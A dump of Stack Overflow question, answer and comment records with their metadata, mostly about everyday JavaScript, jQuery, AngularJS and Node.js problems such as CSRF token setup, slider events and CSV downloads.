has body: I have 2 strings with some chars. One of them is with "mashed" characters, and the other one is with ordered characters which have some sense. For example: wvEr2JmJUs2JRr:7Fob9WIB8mSOA?w0s2E:7-f/-G/N-.f7jN:Mi:.CDfGX7tn! Identification: zpE?bkHlfYS-hIDate: 07/08/2057 12:34:56.789 CGT So as you may see - the first one have equivalent of symbols which are the same for the equal symbol in the second one. And the task is - to create somehow kind of alphabet from them, because I have third one string wich have to be "decoded". (wvEr2JmJUs2JRr:7a1AJvvHvAmRRWsxWsFAvJvAJAaoE88A2?s2AxJ1?290s2E:7-f/-G/N-.f7jN:MC:ifDCGN7tn!). And the tricky part here is - that if I'm pretty sure for the first two strings that they're absolutely equal like a number of chars, so about the new one - is completely different number of symbols, but they consisting in the "alphabet" And here is my current code for creation of the "alphabet": var enc = "wvEr2JmJUs2JRr:7Fob9WIB8mSOA?w0s2E:7-f/-G/N-.f7jN:Mi:.CDfGX7tn!"; var dec = "Identification: zpE?bkHlfYS-hIDate: 07/08/2057 12:34:56.789 CGT"; var newenc = "wvEr2JmJUs2JRr:7a1AJvvHvAmRRWsxWsFAvJvAJAaoE88A2?s2AxJ1?290s2E:7-f/-G/N-.f7jN:MC:ifDCGN7tn!"; var myenc = {}; var mynewenc = {}; for (i = 0; i &lt; enc.length; i+=1) { var encoded = new Array(enc[i]); var decoded = new Array(dec[i]); myenc[enc[i]] = dec[i]; }; console.log(myenc); And now - how I have to decode, the new one string, using this "alphabet"?
has answer: http://stackoverflow.com/a/25726157
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25726141
tagged with: string

http://stackoverflow.com/q/25839924
has comment: http://stackoverflow.com/comment/40428807
tagged with: node.js
has comment: http://stackoverflow.com/comment/40585277
has comment: http://stackoverflow.com/comment/40464734
type: Question
has answer: http://stackoverflow.com/a/40739113
has body: I've been struggling with implementing CSRF token generation, and I don't know what I'm doing wrong. server.js: // set up ====================================================================== var express = require('express'); var port = process.env.PORT || 8080; var mongoose = require('mongoose'); var fs = require('fs'); var csrf = require('csurf'); . . . var app = express(); app.use(csrf()); app.use(function(req, res, next) { res.locals.token = req.csrfToken(); next(); }); . . . login.ejs: &lt;form action="/login" method="post"&gt; &lt;!--form fields--&gt; &lt;/form&gt; . . . &lt;input type="hidden" name="_csrf" value="&lt;%= token %&gt;"&gt; When I try to open the login page, I get the following in the node.js console: token is not defined . . . GET /login 500 93ms - 1.64kb \ EDIT: server.js now looks like this: var express = require('express'); var port = process.env.PORT || 8080; var mongoose = require('mongoose'); var fs = require('fs'); var csrf = require('csurf'); . . . var app = express(); require('./config/express')(app, __dirname); require('./config/routes')(app); app.use(csrf()); app.use(function(req, res, next) { res.locals.token = req.csrfToken(); next(); }); The login page loads now, but the CSRF token is undefined.
tagged with: csrf
tagged with: javascript
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40429078
has answer: http://stackoverflow.com/a/40665683
has comment: http://stackoverflow.com/comment/40428705
has comment: http://stackoverflow.com/comment/40464680
has title: Node.js -- CSRF Token not defined
type: UnansweredQuestion

http://stackoverflow.com/q/25829488
tagged with: twitter-bootstrap
type: UnansweredQuestion
score: 3
has body: I am just starting to use bootstrap. I am trying to understand the Dashboard component: 1) Why does the Dashboard html page that I downloaded contain: &lt;script src="../../assets/js/docs.min.js"&gt;&lt;/script&gt; – I thought all was included in the bootstrap.js. 2) What is docs.min.js by the way? Regards, Janusz
has comment: http://stackoverflow.com/comment/40409068
has comment: http://stackoverflow.com/comment/65252020
upvote count: 8
type: Question
has title: What is docs.min.js?
answer count: 1
downvote count: 5
tagged with: javascript
has comment: http://stackoverflow.com/comment/40413815
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40409058
has comment: http://stackoverflow.com/comment/40409042
has answer: http://stackoverflow.com/a/25829507
has comment: http://stackoverflow.com/comment/42162053

http://stackoverflow.com/comment/40214677
score: 1
has text: @GolezTrol it works perfectly if I just visit the url in the browser, i.e. It returns well-formatted JSON
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25723620

http://stackoverflow.com/comment/40642151
has text: @BillyMoon, that's easy enough, just parse the `req.url`, see my edit please, and note I haven't tested how to parse the `req.url` it might need some fix, try and suit yourself. Finally accept the answer ;).
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25844207
type: AnswerComment

http://stackoverflow.com/comment/40475626
type: AnswerComment
comment on: http://stackoverflow.com/a/25865629
score: 0
type: Comment
has text: $("#idDiv").find("span:first").removeClass().addClass("flaticon-floppy13").find("span:before").css("font-size:36px"); try this

http://stackoverflow.com/q/25797265
has comment: http://stackoverflow.com/comment/40350603
has answer: http://stackoverflow.com/a/25797569
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40350486
type: Question
tagged with: jquery-ui-slider
accepted answer: http://stackoverflow.com/a/25797569
tagged with: javascript
has answer: http://stackoverflow.com/a/25808546
score: 0
answer count: 2
has body: I'm trying to use this supposedly simple example on how to create a Backbone.js app. The goal is to use a jQuery slider to dynamically update a couple fields on the page. Right now, though, this only works when the slider stops moving and the event handler reports the position/value. I would like to get the value from the slider while it moves similar to how the mobile slider appears to function. First time using Backbone and I think I've exhausted the documentation on the jQuery slider. Any hints/tips/suggestions greatly welcome. Backbone app $(document).ready(function () { // Initialize jquery slider $("#slider").slider({ value: 0, step: 1 }); // Create the model class via Backbone (which sets up things like prototype objects correctly). // This particular model is a very simple one. It'll have just 1 attribute - "slidervalue" var SliderModel = Backbone.Model.extend({}); // A "View" abstraction for the slider. // Whenever the slider position changes, this view updates the model with the new value. var SliderView = Backbone.View.extend({ el: $("#slider"), // Specifies the DOM element which this view handles events: { // Call the event handler "updateVal" when slider value changes. // 'slidechange' is the jquery slider widget's event type. // Refer http://jqueryui.com/demos/slider/#default for information about 'slidechange'. "slidechange": "updateVal", }, updateVal: function () { // Get slider value and set it in model using model's 'set' method. console.log('SliderView.updateVal'); console.log(this.$el.slider('value')); var val = this.$el.slider("option", "value"); this.model.set({ slidervalue: val }); } }); // The listener "View" for the model. // Whenever the model's slidervalue attribute changes, this view receives the updated value. var ValueView = Backbone.View.extend({ initialize: function (args) { // _.bindAll is provided by underscore.js. // Due to some javascript quirks, event handlers which are bound receive a 'this' // value which is "useless" (accordin…
possible better answer: http://stackoverflow.com/a/25808546
tagged with: jquery
tagged with: backbone.js
has title: Get value from jQuery slider while it's moving

http://stackoverflow.com/comment/40263507
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25749872
has text: This construct builds a different function for every instance. It's better to use the prototype.
type: AnswerComment

http://stackoverflow.com/q/25831512
type: UnansweredQuestion
tagged with: iframe
downvote count: 0
score: 1
has title: Reference to all iframes from innermost iframe to topmost iframe
type: Question
has body: By title it means for example: in a window.top it has iframe1 has iframe2 inside this it has iframe3 and further more it has iframe4 now in document.ready of iframe4 event i need reference to all iframes i.e. iframe4,iframe3,iframe2,iframe1 using jquery. Can anyone help me out? Regards
upvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40412676
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40412636
answer count: 0

http://stackoverflow.com/comment/40687905
has text: Yeah, I was just wondering, why it sometimes works. Maybe I'll try again with [PhantomJS 2](https://github.com/ariya/phantomjs/wiki/PhantomJS-2) at some point.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25824647
score: 0

http://stackoverflow.com/q/25757022
tagged with: android
downvote count: 0
answer count: 0
type: UnansweredQuestion
type: Question
score: 1
tagged with: http://stackoverflow.com/tag/json
has title: Android - JavascriptInterface return JSONOnject to javascript
upvote count: 1
tagged with: javascript
favorite count: 0
has body: I use a JavaScript function to obtain data from JavaScript interface, like var data = Android.getJsonData(), and my java code looks like below: public JSONObject getJsonData(){ return AnotherClass.getData(); } but I try to get the json object in JavaScript using alert(JSON.stringify(data)) show me {} however if I using Log.e("",AnotherClass.getData().toString()) can successfully log the data how can I return the json object to javascript?

http://stackoverflow.com/comment/40461354
score: 2
has text: If you just want to mock the interface why would it matter if there was a better/easier way to do it? The function is 5 lines of code.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25858005

http://stackoverflow.com/comment/40528685
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25868000
has text: Sorry for the delay. It is just clear now. You must prevent the post back in the button click or after the click inside de alert?

http://stackoverflow.com/comment/51515018
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25840770
score: 1
has text: That depends a lot on the `/*...*/`. Currently, that IIFE doesn't seem to exporting anything, so I'm not sure where you get that default export and the function from.

http://stackoverflow.com/a/25866636
has comment: http://stackoverflow.com/comment/40477697
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40478012
has comment: http://stackoverflow.com/comment/40477477
has comment: http://stackoverflow.com/comment/40477313
upvote count: 2
has comment: http://stackoverflow.com/comment/40478135
has comment: http://stackoverflow.com/comment/40478217
type: Answer
has body: A callback usually takes a function reference or an anonymous function as its argument. The function executing the callback determines the parameters that are given to this function. A function can be referenced using its function name without the parameters e.g. deleteFolder. If you add the parentheses, then when that bit of code initially gets run it is evaluated and the return value of that function is passed to the task function, instead of the function itself being passed. If you just passed it deleteFolder without parentheses it would callback with your function passing in targetFolder as its one and only argument (cb would be null inside your function). The 'targetFolder' variable would contain what you would expect to find in cb. The only value that the task function would pass into any callback function would be one argument (which here is labelled as cb). Additionally you can't define a function such as 'doneDeleting' inside an argument. You would need to define in separately and pass it by reference (as mentioned above). However, as you are calling cb() from within it (and that is being passed in only when the callback is fired), you will need to pass the doneDeleting function as an anonymous function rather than naming it and passing it by reference, as cb would not be in the scope in which your function would be defined. In your case the below will work: var gulp = require('gulp'), del = require('del'); var cfg = require(process.cwd() + '/config.json'); gulp.task('del:dist', deleteFolder); function deleteFolder(cb) { del([cfg.path.dist], function(err) { if (err) return cb(err); cb(); }); }; I always wondered how you were supposed to know how many arguments a callback function would be passed. The answer is purely documentation, or failing that, trial and error / trawling the code. Basically, the arguments for a callback function aren't up to you! Think of it this way. Often, the point of a callback is do something after a function has run with some new …
answers question: http://stackoverflow.com/q/25866456
score: 2
has comment: http://stackoverflow.com/comment/40477890
has comment: http://stackoverflow.com/comment/40478159
accepted answer of: http://stackoverflow.com/q/25866456

http://stackoverflow.com/a/25743700
type: Answer
answers question: http://stackoverflow.com/q/25743501
has body: format as mm/dd/yyyy var from = '08/19/2013 00:00' var to = '08/12/2013 00:00 ' var today = new Date().getDate(); function isFromBiggerThanTo(dtmfrom, dtmto){ var from = new Date(dtmfrom).getTime(); var to = new Date(dtmto).getTime() ; return from &gt;= to ; } or using below var x = new Date('2013-05-23'); var y = new Date('2013-05-23'); and compare
score: 0

http://stackoverflow.com/comment/40261450
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25748752
has text: there is no such thing as "private" in javascript.
type: Comment

http://stackoverflow.com/q/25799796
score: 0
has title: Showing poster image when video ends using javascript
has comment: http://stackoverflow.com/comment/40355353
has body: Im having a problem displaying my poster image after video ends. I have this code : var video = document.getElementById('home_video'); video.addEventListener('click',function(){ video.currentTime = 0 video.play(); },false); i understand you need to put a addEventListener 'ended' after to show the poster image but mine seems not to work. Is there and method i can use to show the poster image even after the video finished playing?
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40355333
answer count: 0
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40392678
has text: It worked! All of the suggestions were very helpful, especially the last one. Thank you so much!
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25793348

http://stackoverflow.com/a/25776443
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25776248
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25776248
has body: You are trying to redirect user immediatelly after he clicked without waiting for data from server. Redirect user after information from server is received -> inside callback. Template.loggedIn.events({ "click #newGame": function() { var gameQuestions = Questions.find().fetch(); Meteor.call('newGame', gameQuestions, function(err, data) { if (err) console.log(err); Session.set('uniqueId', data); console.log(data) var gameId = Session.get('uniqueId').id; Router.go('gamePage', {_id: gameId}); }); } });

http://stackoverflow.com/comment/40448318
type: Comment
comment on: http://stackoverflow.com/q/25851046
score: 0
type: QuestionComment
has text: @Bic i agree that it shouldnt matter, and yes I have tried moving it

http://stackoverflow.com/a/25805119
type: Answer
score: 1
has body: Just simply give the .pImgContainer a height of 150px since you know that's the highest value you will ever have. http://jsfiddle.net/27yj94v8/9/ .pImgContainer { height:auto; width: 120px; line-height:110px; padding-top: 10px; margin: 0 auto; height:150px; }
upvote count: 1
answers question: http://stackoverflow.com/q/25804665
downvote count: 0

http://stackoverflow.com/q/25742084
tagged with: cakephp-2.0
tagged with: ajax
has title: Ajax Request Fails on second click
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40249198
has answer: http://stackoverflow.com/a/25742260
has body: I have a problem with my AJAX request here. I am displaying data through a foreach loop creating delete buttons for each entry. The first time I click on one of these button the entry is being deleted properly, but then the second click on the next element fails. &lt;?php foreach ($notes as $note): ?&gt; ... &lt;script type="text/javascript"&gt; $(document).ready(function () { $("&lt;?php echo '#NoteDeleteButton' . $note['Note']['id']&gt;").bind("click", function () { $.ajax({async: true, dataType: "html", success: function (data) { $("#NoteUpdateSection").html(data); }, type: "POST", url: "&lt;?php if($this-&gt;base != '') { echo '' . $this-&gt;base; } ?&gt;\/notes\/delete\/&lt;?php echo $note['Note']['id'] ?&gt;\/&lt;?php echo $current_controller ?&gt;\/&lt;?php echo $current_id ?&gt;"}); return false; }); }); &lt;/script&gt; ... &lt;?php endforeach; ?&gt; In my browsers console I get this error after clicking the delete button the first time: Uncaught SyntaxError: Unexpected identifier jquery.min.js?1406620464:2 (anonymous function) jquery.min.js?1406620464:2 n.extend.globalEval jquery.min.js?1406620464:2 n.fn.extend.domManip jquery.min.js?1406620464:3 n.fn.extend.append jquery.min.js?1406620464:3 (anonymous function) jquery.min.js?1406620464:3 n.access jquery.min.js?1406620464:3 n.fn.extend.html jquery.min.js?1406620464:3 $.ajax.success 71:13184 j jquery.min.js?1406620464:2 k.fireWith jquery.min.js?1406620464:2 x jquery.min.js?1406620464:4 b jquery.min.js?1406620464:4 Do you have any ideas how to deal with this? I appreciate your help! Many thanks!!
type: Question
tagged with: cakephp
tagged with: javascript
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40249347
tagged with: jquery

http://stackoverflow.com/q/25835986
tagged with: checkbox
has answer: http://stackoverflow.com/a/25879537
type: AnsweredQuestion
tagged with: foreach
score: 3
tagged with: uniform
has comment: http://stackoverflow.com/comment/40428593
linked to: http://stackoverflow.com/q/8611327
has comment: http://stackoverflow.com/comment/40421052
downvote count: 0
has comment: http://stackoverflow.com/comment/40428967
has comment: http://stackoverflow.com/comment/40428757
has body: When we use Knockout with UniformJS and call .uniform() before ko.applyBindings the code below does not work? Html code: &lt;div id="myContainer"&gt; &lt;div data-bind="foreach: teste"&gt; &lt;input type="checkbox" value="" /&gt; My checkbox &lt;/div&gt; &lt;/div&gt; Javascript code: $("input").uniform(); // Call here... does not work! function vm() { var that = this; this.teste = ko.observableArray([ { id: 1, 'value': '1' }, { id: 2, 'value': '2' }, { id: 3, 'value': '3' }, ]); } ko.applyBindings(vm()); //$("input").uniform(); // Call here... works fine!!! However, if we call it after ko.applyBindings everything works normally. Why is that? See the issue live in this JSFiddle.
tagged with: knockout.js
type: Question
has comment: http://stackoverflow.com/comment/40425551
tagged with: javascript
upvote count: 3
has comment: http://stackoverflow.com/comment/40500908
answer count: 1
accepted answer: http://stackoverflow.com/a/25879537
has comment: http://stackoverflow.com/comment/40441698
favorite count: 0
has title: Why can't we call uniform() before applyBindings()?
has comment: http://stackoverflow.com/comment/40421007

http://stackoverflow.com/comment/40245990
comment on: http://stackoverflow.com/q/25740010
score: 0
has text: possible duplicate of [Adding/removing items from JSON data with JQuery](http://stackoverflow.com/questions/4538269/adding-removing-items-from-json-data-with-jquery)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/75448080
type: QuestionComment
has text: Next time show a bit more from your code ;)
comment on: http://stackoverflow.com/q/25828884
score: 0
type: Comment

http://stackoverflow.com/comment/40359480
score: 1
comment on: http://stackoverflow.com/q/25802177
has text: so what is your question actually????
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40295528
comment on: http://stackoverflow.com/a/25764322
type: Comment
has text: Can you help by giving an example as I cannot make it work. with the above form.
type: AnswerComment
score: 0

http://stackoverflow.com/q/25800942
has body: I'm trying to write an extremely simple Lua script to access the hyperloglog functionality in redis from node_redis. I have 1 key and multiple hashes as elements to pass. I can successfully do this only if I hard code the key and argument as in the following: script: 'return redis.call("pfadd", 'testkey', 'valvalval')' While this works perfectly, this is not very useful... I've tried every possible way I can think of to access KEYS and ARGV arrays and this is what I currently have in my .js file: var script = '\ local val = 0 \ for _, hash in pairs(ARGV) do \ redis.call("pfadd", KEYS[1], hash) \ end \ return val'; And to call my script: redisInstance.eval(script, 1, args, function (ret) { console.log(ret); }); args is an array as follows: ['key','hash1','hash2','hash3', ...,'hash30'] The callback is always null and no keys are set on the server... The KEYS and ARGV arrays are not accessed... (when hardcoded as I said, it works fine..) I need to pass all of the hashes as elements (total of about 30 each time) and receive the integer replies. Thanks in advance for the help.
has comment: http://stackoverflow.com/comment/40361324
tagged with: javascript
has answer: http://stackoverflow.com/a/25812988
has title: Properly execute Lua script with node_redis client
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40378745
answer count: 2
has answer: http://stackoverflow.com/a/33616530
has comment: http://stackoverflow.com/comment/40360442
tagged with: redis
tagged with: lua
tagged with: node.js
type: UnansweredQuestion

http://stackoverflow.com/comment/40444789
score: 1
type: Comment
comment on: http://stackoverflow.com/q/25849111
type: QuestionComment
has text: You can use `.tickValues()` to specify the tick values explicitly.

http://stackoverflow.com/comment/40479216
type: Comment
comment on: http://stackoverflow.com/a/25838464
score: 0
type: AnswerComment
has text: I have tried to implement the `choice` and even the `continue` nav request but I think I'm doing something wrong because they are returning both `false`. I hope my updated question above contains enough information for my problem. Thank you!

http://stackoverflow.com/comment/40209513
type: QuestionComment
comment on: http://stackoverflow.com/q/25720854
has text: Why not just check for their lowest common denominator and then look for it in the list?
score: 0
type: Comment

http://stackoverflow.com/a/25820030
has body: The best way is to search about their APIs. Amazon provide, a rich library set "Amazon Marketplace" to search, and get information about different products. Likewise you can find for others.
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/102503306
type: Answer
accepted answer of: http://stackoverflow.com/q/25819899
answers question: http://stackoverflow.com/q/25819899
downvote count: 0
score: 1

http://stackoverflow.com/comment/40400363
has text: It all depends on your needs. if you don't set a value to variable, it is by default considered undefined. "null" has its own uses, for example when I import API data some properties of my objects have a "null" value, to indicate that nothing has been set. While an undefined property means that it doesnt exist in the object. (but this is from an API data standpoint). IMO, you should declare all REQUIRED properties in your class function, and append other properties on a per-need basis. (i.e. if function work() is never called on your object, it will never need _member3...
comment on: http://stackoverflow.com/q/25824830
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25834632
has body: I am working with an open source project I wan't to change the line... this.model[this.config.childrenPropertyName].push(child.model); to this.model[this.config.childrenPropertyName].splice(this.model.length, 0, child.model); But it breaks the ordering on the object model (this is a tree implementation). But when I test the two methods in a test harness they seem to preserve the order. I thought that implemented as above they would do EXACTLY the same thing... NOTE : This was just a silly coding error on my part and there is no difference between the two as answered correctly below
possible better answer: http://stackoverflow.com/a/25834685
upvote count: 2
answer count: 2
downvote count: 1
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/83361993
has answer: http://stackoverflow.com/a/25834685
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25834729
has title: Difference between array.push and array.splice in this scenario
type: Question
has answer: http://stackoverflow.com/a/25834729
score: 1

http://stackoverflow.com/q/25847467
has comment: http://stackoverflow.com/comment/40442909
has answer: http://stackoverflow.com/a/25848781
accepted answer: http://stackoverflow.com/a/25864901
type: Question
score: 0
possible better answer: http://stackoverflow.com/a/25848781
answer count: 2
has comment: http://stackoverflow.com/comment/40451363
tagged with: javascript
tagged with: rest
has title: Send image/jpeg along with other form data in AngularJS
has answer: http://stackoverflow.com/a/25864901
has body: After trying to investigate for a complete way on how to submit an image along with other form data to a REST API using AngularJS. The image is always intercepted on server as 'null', although it works perfectly when testing the REST API using postman chrome extension. Here's the controller code below: $scope.submitForm = function(){ var formData=new FormData(); formData.append('image', $scope.fileName); formData.append('title', $scope.subject); formData.append('body', $scope.body); $http({ method : 'POST', url : 'formhandler', data : formData, headers : {'Content-Type': undefined}, transformRequest: function(data, headersGetterFunction) { return data; } }).success(function(data) { $scope.openModal.hide(); }); }; Thank you in advance, any help is highly appreciated.
tagged with: angularjs
tagged with: spring
type: AnsweredQuestion

http://stackoverflow.com/q/25799363
tagged with: angularjs
has body: I am trying to toggle the visibility of an element rendered by a directive using &lt;div ngHide="readOnly"&gt;. The value or readOnly is passed in via a directive. angular.module('CrossReference') .directive('singleViewCard', [function() { return { restrict:'AE', templateUrl: '/CrossReference-portlet/js/templates/SingleViewCard.html', replace:true, scope: { readOnly:'@' }, link: { pre:function(scope, tElement, tAttrs) {}, post:function(scope, tElement, tAttrs) {}; } } }; }]); This seems to work in the following cases: &lt;!-- element rendered in single-view-card is hidden --&gt; &lt;div single-view-card read-only="{{true}}"/&gt; &lt;!-- element rendered in single-view-card is shown --&gt; &lt;div single-view-card read-only="{{false}}"/&gt; However, if I invert the boolean expression &lt;div ngHide="!readOnly"&gt; The following usage of the directive does not hide the dive as expected: &lt;!-- element is rendered when it should be hidden --&gt; &lt;div single-view-card read-only="{{false}}"/&gt; What am I doing wrong?
answer count: 4
has answer: http://stackoverflow.com/a/41992909
downvote count: 0
score: 54
accepted answer: http://stackoverflow.com/a/25799381
has answer: http://stackoverflow.com/a/25800662
type: Question
tagged with: angularjs-directive
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25799906
has answer: http://stackoverflow.com/a/25799381
has title: Passing Boolean Value Into Directive
possible better answer: http://stackoverflow.com/a/25799906
upvote count: 54
tagged with: javascript
favorite count: 0

http://stackoverflow.com/q/25722395
tagged with: angularjs-directive
has body: Hi Friends i have create a form and show it if i click to "Edit Button" the button form will be open and show i edit the form and click the button "Save " this button not effect and not save the data please help me Code // Code goes here var app = angular.module('theme', []); app.controller('portfolioController', function($scope) { $scope.portofoliosBox = [{ title: "Finance Projects", description: "# of projects Count Sum Aggregate 1" }, { title: "Marketing Projects", description: "# of projects Count Sum Aggregate 2" }, { title: "Finance Projects", description: "# of projects Count Sum Aggregate 3" }, { title: "Marketing Projects", description: "# of projects Count Sum Aggregate 4" }, { title: "Finance Projects", description: "# of projects Count Sum Aggregate 5" }]; $scope.editFormPortFolio = function(portfolioBox) { editFormPorfolio = true; portfolioBox.title = portfolioBox.title; portfolioBox.description = portfolioBox.description; } }); HTML Code Edit Button {{portfolioBox.title}} {{portfolioBox.description}} Save Demo
tagged with: javascript
type: UnansweredQuestion
tagged with: forms
tagged with: angularjs-ng-repeat
tagged with: angularjs
type: Question
has answer: http://stackoverflow.com/a/25722850
has title: create a form and editing the form but not save (in angular )?
score: 0
answer count: 1

http://stackoverflow.com/q/25861062
tagged with: node.js
has comment: http://stackoverflow.com/comment/40466849
upvote count: 3
type: UnansweredQuestion
type: Question
tagged with: mongodb
score: 3
tagged with: javascript
tagged with: express
has answer: http://stackoverflow.com/a/25881322
answer count: 1
downvote count: 0
has body: I want to download .csv file on frontend. this is my code: $http.get('/entity/consultations/_/registerationReport' ) .success(function (data) { myWindow = window.open('../entity/consultations/_/registerationReport', '_parent'); myWindow.close(); }); and I use json2csv converter to write in csv file. json2csv({data: report, fields: fields}, function (err, csv) { if (err) throw err; res.setHeader('Content-Type', 'application/csv'); res.setHeader("Content-Disposition", "attachment; filename=" + "Report.csv"); res.end(csv, 'binary'); }); but it prints data of csv file on browser instead of downloading csv file.
favorite count: 0
tagged with: angularjs
has title: Download Csv file on front end after clicking on button using angularjs , nodejs ,expressjs

http://stackoverflow.com/comment/40399553
has text: sorry I dont't say I change {{ for <% because I use laravel with blade, so ng-repeat generate a good html solicitaDespacho(1), solicitaDespacho(2).. etc, but when I click say undefined
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25818111

http://stackoverflow.com/q/25820436
tagged with: liferay-6
has body: Overview: Trying to Port a web-app to a struts2 liferay portlet. Problem Definition: css not getting loaded in IE8. Description: I am trying to apply stylesheet.css via my jsp , using the below code snippet &lt;link type="text/css" rel="stylesheet" href="&lt;%=request.getContextPath()%&gt;/css/stylesheet.css" media="all" /&gt; Below is the code snippet from stylesheet.css written for IE8. #block-system-user-menu ul.lisb li.logout { top: -1px; right: 0; background:url(../images/bg_navTabs.png) repeat-x; border-bottom-right-radius: 6px; border-left: solid 1px #345676; } #block-system-user-menu ul.lisb li.logout a { display: table; margin: 0; padding: 0 10px; line-height: 30px; color:#fff; text-decoration:none; } #block-system-user-menu ul.lisb li.logout a img { border:none; vertical-align:middle } #block-system-user-menu ul.lisb { position: absolute; top: -1px; right: 0; display: table; list-style: none outside none; margin: 0; padding: 0; background:url(../images/bg_topTabs.png) repeat-x scroll 0 0 transparent; border-top: medium none; border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; } #block-system-user-menu ul.lisb li { list-style: none; letter-spacing: 0; display: table-cell; padding: 0; } #block-system-user-menu ul.lisb li a, #block-system-user-menu ul.lisb li .megapath-phone-support , #block-system-user-menu ul.lisb li span { font-size: 12px; display: inline-block; padding: 0 10px; line-height: 30px; color: #0F345E; text-decoration:none; } #block-system-user-menu ul.lisb li a img, #block-system-user-menu ul.lisb li .megapath-phone-support img, #block-system-user-menu ul.lisb li span img { border:none; vertical-align:middle; } #block-system-user-menu ul.lisb li a.support { padding-left: 26px; } #block-system-user-menu ul.lisb li span { color: #333; background-image: none; background-color: #e9e9e9; -ms-filter: "progid:DXImageTransform.Microsoft.gradient(enabled=false)";/* IE8 */ } #block-system-user-menu ul.lisb li a:hover { display: inline-block;…
has title: css not getting applied on IE8, works fine in Chrome and Firefox
answer count: 0
has comment: http://stackoverflow.com/comment/40413971
type: Question
tagged with: internet-explorer-8
has comment: http://stackoverflow.com/comment/40398468
tagged with: javascript
tagged with: struts2
score: 0
has comment: http://stackoverflow.com/comment/40397947
has comment: http://stackoverflow.com/comment/40392930
has comment: http://stackoverflow.com/comment/40435201
has comment: http://stackoverflow.com/comment/40398047
has comment: http://stackoverflow.com/comment/40397909
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40399370
has comment: http://stackoverflow.com/comment/40398542
tagged with: css

http://stackoverflow.com/comment/40419148
comment on: http://stackoverflow.com/a/25835133
has text: were did this code come from? it isn't there in question? 0__0
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40806424
type: AnswerComment
type: Comment
has text: Sorry for the delay... The office proxy got very strict and I can't respond from there. I figured a different way of doing what I needed but I'd still like to figure this out.
comment on: http://stackoverflow.com/a/25782857
score: 0

http://stackoverflow.com/q/25854017
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40455298
has answer: http://stackoverflow.com/a/25857401
has comment: http://stackoverflow.com/comment/40456670
type: Question
has comment: http://stackoverflow.com/comment/40454188
has body: I have a question on my project, currently i am using tn gallery slider. In that slider i have one link when i click that link those slider images have to display in fancy box popup. can any one help with coding? I am new to jquery and javascript. $(document).ready(function() { //Thumbnailer.config.shaderOpacity = 1; var tn1 = $('.mygallery').tn3({ skinDir:"img", imageClick:"fullscreen", image:{ maxZoom:1.5, crop:true, clickEvent:"dblclick", transitions:[{ type:"blinds" },{ type:"grid" },{ type:"grid", duration:460, easing:"easeInQuad", gridX:1, gridY:8, // flat, diagonal, circle, random sort:"random", sortReverse:false, diagonalStart:"bl", // fade, scale method:"scale", partDuration:360, partEasing:"easeOutSine", partDirection:"left" }] } }); $("a[rel=example_group]").fancybox( { 'transitionIn' : 'none', 'transitionOut' : 'none', 'titlePosition' : 'over', 'titleFormat' : function(title, currentArray, currentIndex, currentOpts) { return '&lt;span id="fancybox-title-over"&gt;Image ' + (currentIndex + 1) + ' / ' + currentArray.length + (title.length ? ' &amp;nbsp; ' + title : '') + '&lt;/span&gt;'; } }); }); HTML code: &lt;div class="mygallery"&gt; &lt;div class="tn3 album"&gt; &lt;ol&gt; &lt;li&gt; &lt;h4&gt;Hohensalzburg Castle&lt;/h4&gt; &lt;div class="tn3 description"&gt;Salzburg, Austria&lt;/div&gt; &lt;a href="img/620x378/1.jpg"&gt; &lt;img src="img/35x35/1.jpg"/&gt; &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;h4&gt;Isolated sandy cove&lt;/h4&gt; &lt;div class="tn3 description"&gt;Zakynthos island, Greece&lt;/div&gt; &lt;a href="img/620x378/2.jpg"&gt; &lt;img src="img/35x35/2.jpg" /&gt; &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;h4&gt;A view from the Old Town&lt;/h4&gt; &lt;div class="tn3 description"&gt;Herceg Novi, Montenegro&lt;/div&gt; &lt;a href="img/620x378/3.jpg"&gt; &lt;img src="img/35x35/3.jpg" /&gt; &lt;/a&gt; &lt;/li&gt; &lt;li&gt; &lt;h4&gt;Walls of the Old Town&lt;/h4&gt; &lt;div class="tn3 description"&gt;Kotor, Montenegro&lt;/div&gt; &lt;a href="img/620x378/…
has title: How to get slider images on fancybox popup, how to work on this?
has comment: http://stackoverflow.com/comment/40453708
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40457843
tagged with: jquery
has comment: http://stackoverflow.com/comment/40456191
